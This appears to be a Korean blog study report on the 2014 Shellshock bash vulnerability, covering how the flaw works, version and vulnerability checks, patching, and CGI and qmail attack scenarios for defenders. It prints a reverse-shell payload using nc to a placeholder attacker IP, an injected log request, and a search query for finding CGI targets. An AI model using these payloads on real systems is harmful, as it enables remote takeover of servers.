배시(bash)쉘 버그 조사 보고서
1. 개요
미국 CERT는 9월 25일(현지시간) 전 세계 기관·기업의 보안 전문가들을 대상으로 ‘배시 버그’(Bash Bug) 또는 ‘쉘 쇼크’ (Shell Shock)로 불리는 보안 결함에 대비하라고 강력히 경고했다.
배시(Bash)에서 발견된 취약점은 리눅스와 유닉스 등 GNU 배시를 사용하는 모든 운영체제에 영향을 끼칠 수 있다.
배시(Bourne Again Shell, Bash)는 유닉스·리눅스 계열에서 사용자 명령어를 분석하여 운영체제(OS)의 커널로 전달해주는 기본 쉘 프로그램이다.
※ CERT(Computer Emergency Response Team): 컴퓨터 해킹사고가 빈발함에 따라 컴퓨터 통신망을 해커로부터 보호하기 위해 결성된 통신보안 전문가그룹이며, 한국에도 CERT 코리아가 있다.
[구조]
* 운영체제 - Kernel - Shell - 사용자
* Kernel
: 하드웨어와 인터페이스 하는 부분으로, 유닉스/리눅스 시스템 부팅시 가장 먼저 읽혀지는 운영체제의 핵심 부분
: 프로세스 스케줄링, 메모리 관리, I/O장치 관리, 파일 관리와 같은 기능 수행
* Shell
: 유닉스/리눅스에서의 대화형 사용자 인터페이스. 일종의 명령어 해석기
: 운영체제의 가장 바깥 부분에 위치
: 사용자가 입력하는 명령어를 해석, Kernel에 전달해서, 사용자가 지정한 명령이 실행되도록 하는 역할
: bash, ksh, sh, csh, ...
: 확인 명령어 [ #echo $SHELL ]
* Shell Script
: 리눅스 시스템에서 지원하는 명령어들의 집합을 프로그램화한 것.
: 시스템 관련 작업, 반복적 작업에 유용.
[Bash Shell(Bourne Again Shell]
: 최초의 유닉스 쉘인 Bourne Shell($ 프롬프트를 기본으로 사용)의 개선된 버전으로 GNU프로젝트를 위해 개발됨
: 오늘날 유닉스,리눅스, 맥 OS X 계열의 광범위한 운영체제에 사용되고 있음
: GNU프로젝트(GNU's Not Unix) - 리차드 스톨만(Richard Stallman)에 의한 프리 소프트웨어 작성과 보급을 위한 프로젝트
2. 쉘 쇼크(Shell Shock)는 무엇인가?
쉘 쇼크(Shell Shock)는 배시 명령 쉘(Command shell) 에 존재하는 취약점으로 보통 대부분의 Linux 운영체제, BSD, Mac OS X 등에서 사용된다.
쉘 쇼크(Shell Shock)를 이용하면 해커들이 배시의 명령어를 사용해 임의의 코드를 실행시킬 수 있다.
주요 웹 서버와 핸드폰, 라우터를 포함한 인터넷이 연결된 장치들은 Linux 또는 UNIX 기반의 운영체제를 사용하기 때문에 이 취약점은 심각한 위험을 초래한다.
쉘 쇼크(Shell Shock) 취약점은 해커들을 위한 백도어(Backdoor)를 생성할 수 있는데, 이를 통해 해커들이 악성코드를 자동으로 실행할 수 있다.
이 취약점을 이용하면 해커들은 시스템과 서버에서 악성 스크립트를 실행, DDos공격을 실행, 웹서버의 내용 수정 등 시스템에 영향을 끼칠 수 있다.
3. 공격 방식
이 공격은 환경 변수가 동작하는 방식을 악용한다.
이런 환경 변수는 유닉스형 시스템이나 윈도우 모두에서 컴퓨터가 제대로 동작하는데 필요한 값을 저장하기 위해 사용된다.
배시명령어 해석기의 문제는 함수를 환경 변수로 저장하는 방식에 문제가 있는 것이다.
배시에서는 한 쌍의 중괄호로 묶인 함수 안에 코드가 들어가는데 공격자가 일부 배시 코드를 이 중괄호 밖에 두면, 보안 처리 없이 시스템이 그 코드를 실행하게 된다.
시스템 전체가 코드삽입(코드 인젝션, Code Injection)이라 불리는 다양한 공격에 무방비 상태가 된다.
4. 배시버그 현황 및 확인 방법
배시 4.3버전에서 발견된 이 버그는 해커가 원격에서 접속, 시스템에 명령어를 날려 변화를 가할 수 있도록 하며, 서버에 대한 접근제어나 원격으로 악성코드가 동작되게 할 수 있음
- 리눅스 컴퓨터를 부팅하고 bash 쉘 프로그램에서 버전을 확인함
현재의 bash 버전을 확인함(rpm -qa | grep bash). 아래의 예처럼 bash 버전이 4.3 이하, 즉 현재 4.1.2 이므로 보안 업데이트가 필요한 상태임을 확인함
# rpm -qa | grep bash bash-4.1.2-9.el6_2.x86_64 |
쉘 프로그램 취약점을 확인하는 명령어(env x='() { :;}; echo vulnerable' bash -c 'echo this is a test' )를 입력 하였을 경우, "vulnerable" 문구가 나오면 보안 위험 상태이다.
[위험 상태]
# env x='() { :;}; echo vulnerable' bash –c “echo this is a test“
vulnerable this is a test |
[정상 상태]
# env x='() { :;}; echo vulnerable' bash –c “echo this is a test” bash: warning: x: ignoring function definition attempt bash: error importing function definition for ‘x’ this is a test OR this is a test |
5. 해결 방법
현재 쉘 쇼크와 관련된 알려진 모든 버그와 문제가 해결 및 패치 됐다. 때문에 시스템을 업데이트 해주기만 하면 된다.
@ Ubuntu, Debian 시스템 # sudo apt-get update && sudo apt-get insall —only-upgrade bash
@ CentOS, Fedora, Red Hat 시스템 # sudo yum update bash |
6. 배포 판에서 고치지 않았다면?
사용 중인 배포 판이 아직 배시를 위한 수정 업데이트를 배포하지 않았다면, 다른 배포 판으로 전환하거나 혹은 다른 쉘의 설치를 고려해야한다.
참고 사이트:
http://wpkc.egloos.com/5250548
http://www.linuxnews.pro/patch-bash-shell-shock-centos-ubuntu/
■ Bash Shell 취약점 발견 ■
[발견]
: 오픈소스 소프트웨어는 소스코드가 공개되어 있기 때문에, 많은 사람들에 의한 분석으로 더 안전할 것이라 예상되었음
: 아카마이(Akamai)의 IT 매니저 스테판 챠젤라스(Stephane Chazelas)가 Bash의 소스코드에서 취약점(CVE-2014-6271) 발견
: 2014년 9월 12일 Bash 개발 담당자에게 신고. 쉘쇼크(Shellshock)라고 명명됨
: 1989년 8월 Bash version 1.03에서부터 존재했을 것
: 취약점 공개 이후, 추가적 보안 취약점이 계속 발견 중에 있음.
: 인터넷을 통해 간단한 명령으로 시스템을 장악할 수 있는 심각성 때문에, 미국 국립표준기술연구소(NIST)에 의해 취약점 등급의 최고 점수인 10.0점으로 산정됨.
[취약점 발생 부분]
: Bash Shell이 제공하는 함수 선언 기능
: "() {"로 시작하는 문자열을 시스템 환경변수에 저장하면 동일한 이름을 가진 함수로 선언되는데, 함수 선언문 끝에 임의의 명령어를 추가로 삽입할 경우, Bash 프로세스가 입력 값을 시스템의 환경변수로 등록하는 과정에서, 해당 코드가 함수문에서 처리를 멈추지 않고 추가로 삽입한 명령어를 계속 실행시킴
: 환경변수
- 시스템의 실행파일이 놓여 있는 디렉토리의 지정 등, OS 상에서 동작하는 응용소프트웨어가 참조하기 위한 설정이 기록됨
- 웹브라우저 내부 데이터의 일부를 일컫기도 함. HTTP 요청시 송신되는 것으로, 웹서버가 웹브라우저에 대해 최적의 처리를 하기 위해서 송신됨
■ Bash Shell 취약점 분석 ■
[보고된 취약점 6종]
* CVE-2014-6271 : 원격 명령 실행
* CVE-2014-7169 : 함수 선언문 파싱 에러
* CVE-2014-7186 : 잘못된 메모리 접근
* CVE-2014-7187 : 잘못된 메모리 접근
* CVE-2014-6277 : 함수 선언문 파싱 에러
* CVE-2014-6278 : 원격 명령 실행
[Bash의 소스코드와 취약한 이유]
: evalstring.c 파일 내에 정의된 parse_and_execute() 함수에서 명령어 문자열 처리 과정에 사용된 while문에 함수 선언문 뒤에 명령어가 삽입된 것을 확인한 뒤, 반복문을 종료시키는 코드가 없음. 결국, 함수 선언문이 끝까지 처리된 후에도 반복문이 계속 실행되어 뒤에 삽입된 명령어가 실행 가능
: 패치에서, parse_and_execute() 함수 호출시, 특정 플래그 값을 주어 함수 선언문을 처리할 경우 다른 추가적 명령어를 처리하지 않도록 수정됨
: 만약, 외부로부터 환경변수를 전달받아 Bash Shell을 통해 명령어를 실행하는 서버 존재시, 공격자는 해당 프로세스의 권한으로 임의의 명령어를 삽입, 실행할 수 있음.
: 원격에서 직접적인 명령어 주입이 가능해서 공격 성공률이 높음
: CVE-2014-6277 - 할당되지 않은 메모리에 접근하는 취약점으로 공격자가 원하는 메모리 주소를 읽거나, 그 주소에 데이터 쓰도록 제어 가능.
■ Bash Shell 취약점 공격 경향 ■
[주요 대상]
: 환경변수를 통해 Bash를 호출할 수 있는 프로그램이나 스크립트가 시스템 내에 존재할 경우 대상이 됨. 즉,
: Bash를 구동하는 CGI, SSH, DHCP 등을 대상으로 원격으로 환경변수에 코드 인젝션하는 방법으로 공격이 가능.
특히, 대표적으로 손쉽게 사용할 수 있는 CGI를 검색 엔진을 통해 임의로 찾아 공격대상으로 삼는 경향.
: inurl:/cgi-bin site:kr 로 보면, 상당수 웹서버가 CGI를 사용하고 있음
: CGI(Common Gateway Interface) : 웹서버에 요청된 페이지를 응용프로그램에 전달하고 처리하기 위한 인터페이스
[공격]
: 원격코드 실행을 테스트함으로써 해당 취약점 포함 Bash를 구동하는 웹 CGI 환경 탐색
: 해당 환경이 확인되면, 검색 엔진을 통해 해당 프로그램을 이용하는 공격대상 웹서버 다수 확보 가능. 이를 통해, 향후 대규모 사이버 공격에 봇넷으로 활용 가능성 존재.
: 일반적인 코드 인젝션 기법에 이용되는 공격 기술과 연동되는 형태가 지속적으로 보고되고 있음.
* CGI 페이지에 대한 공격 가능 시나리오
: CGI는 HTTP 패킷의 헤더의 데이터를 환경변수로 설정하여 쉘을 실행. 따라서 헤더 부분에 취약점을 공격하는 페이로드를 삽입하면, CGI 페이지를 운영 중인 서버에 임의의 명령어 실행 가능.
: 악성 명령어 삽입으로, 개인정보 유출 혹은 내부 서버 침투 및 파괴 가능
* QMAIL(유닉스용 오픈소스 메일 전송 에이전트, SENDMAIL보다 강화된 보안을 위해 제공)에 대한 공격 가능 시나리오
: 확장자가 .qmail인 파일에 메일 수신자에게 전달할 프로그램의 목록을 전달하는데, 이 때 .qmail 파일의 파싱 실행 시, Bash를 사용
: sender라는 환경 변수 정의시, 공격자가 명령어를 삽입하면 악의적 명령어 실행 가능.
(){:;}; nc -e /bin/bash [공격자 ip]
* CGI 웹서버만에서, NAS(Network Attached Storage : 네트워크를 통해 데이터를 주고 받는 저장 장치) 장비 등 여러 환경의 공격으로 확산 되고 있음.
* 인터넷침해대응센터 입장, 산업제어 시스템인 스카타 시스템과 연결된, Bash 취약점 노출 시스템에 대한 관리 필요
■ Bash Shell 취약점 공격 대응 ■
[대응]
1.
: 확인방법
----------------------------------------------------------------------------
$ cat /etc/shells : 운용 중인 서버, 서비스의 Bash 사용 여부 확인
$ bash -version : 해당 취약점에 영향을 받는 Bash 버전 정보 확인.
----------------------------------------------------------------------------
: /cgi-bin/ 디렉토리 아래의 CGI 프로그램에 접근하거나,
: 알려진 웹페이지 목록에 대한 취약성 스캔로그가 있는지 확인이 필요.
( 웹 서버 로그 상의 Bash 코드 인젝션 취약점 스캔 행위 확인)
----------------------------------------------------------------------------
GET /cgi-bin/bb-histlog.sh
GET /cgi-bin/login.cgi
GET /cgi-bin/web2cgi/getpass.cgi?lang=gb
GET /HTTP/1.1"200 3900"(){:;};/bin/ping -c 1 ip.addr ----------------------------------------------------------------------------
2. 관련 보안 업데이트 신속 적용
3. 사용하지 않는 CGI 페이지 삭제 또는 관련 서비스 중지(기업)
4. 반드시 필요한 경우가 아니면, Bash 버전을 이용하는 웹 CGI 프로그램을 운영하는 웹서버 확인, 사용 중지.
4. 임의의 원격코드 실행 공격에 대한 모니터링 강화, IPS/IDS/웹방화벽 등을 통한 피해 최소화 조치.
5. 외부망에 노출된 시스템 우선적 패치와 지속적인 주의.
: 보완패치 제공 후, 파일 생성 우회 코드 확인으로 CVE-2014-7169 관련 보안 패치로 대응
■ 참 고 자 료 ■
[참고사이트]
* http://cafe.naver.com/daousw/526
[출처] [UNIX/LINUX] Shell Script Guide.. (IBM SWAT - SoftWare Architect Team) | 작성자 박현명
* http://www.ahnlab.com
보안정보 | GNU Bash 환경변수를 통한 코드인젝션 취약점.hwp
* http://www.krcer.or.kr [KISA 인터넷침해대응센터]
GNU Bash 원격코드실행 취약점 이슈 분석 및 대응방안.pdf | 작성자 민재원, 손기종
'Learning > └보고서' 카테고리의 다른 글
Shell Scripts Report Ⅱ (0) | 2016.12.11 |
---|---|
Shell Scripts Report (0) | 2016.12.11 |
Googling Report (0) | 2016.12.10 |
보고서 제출 단계 (0) | 2016.12.10 |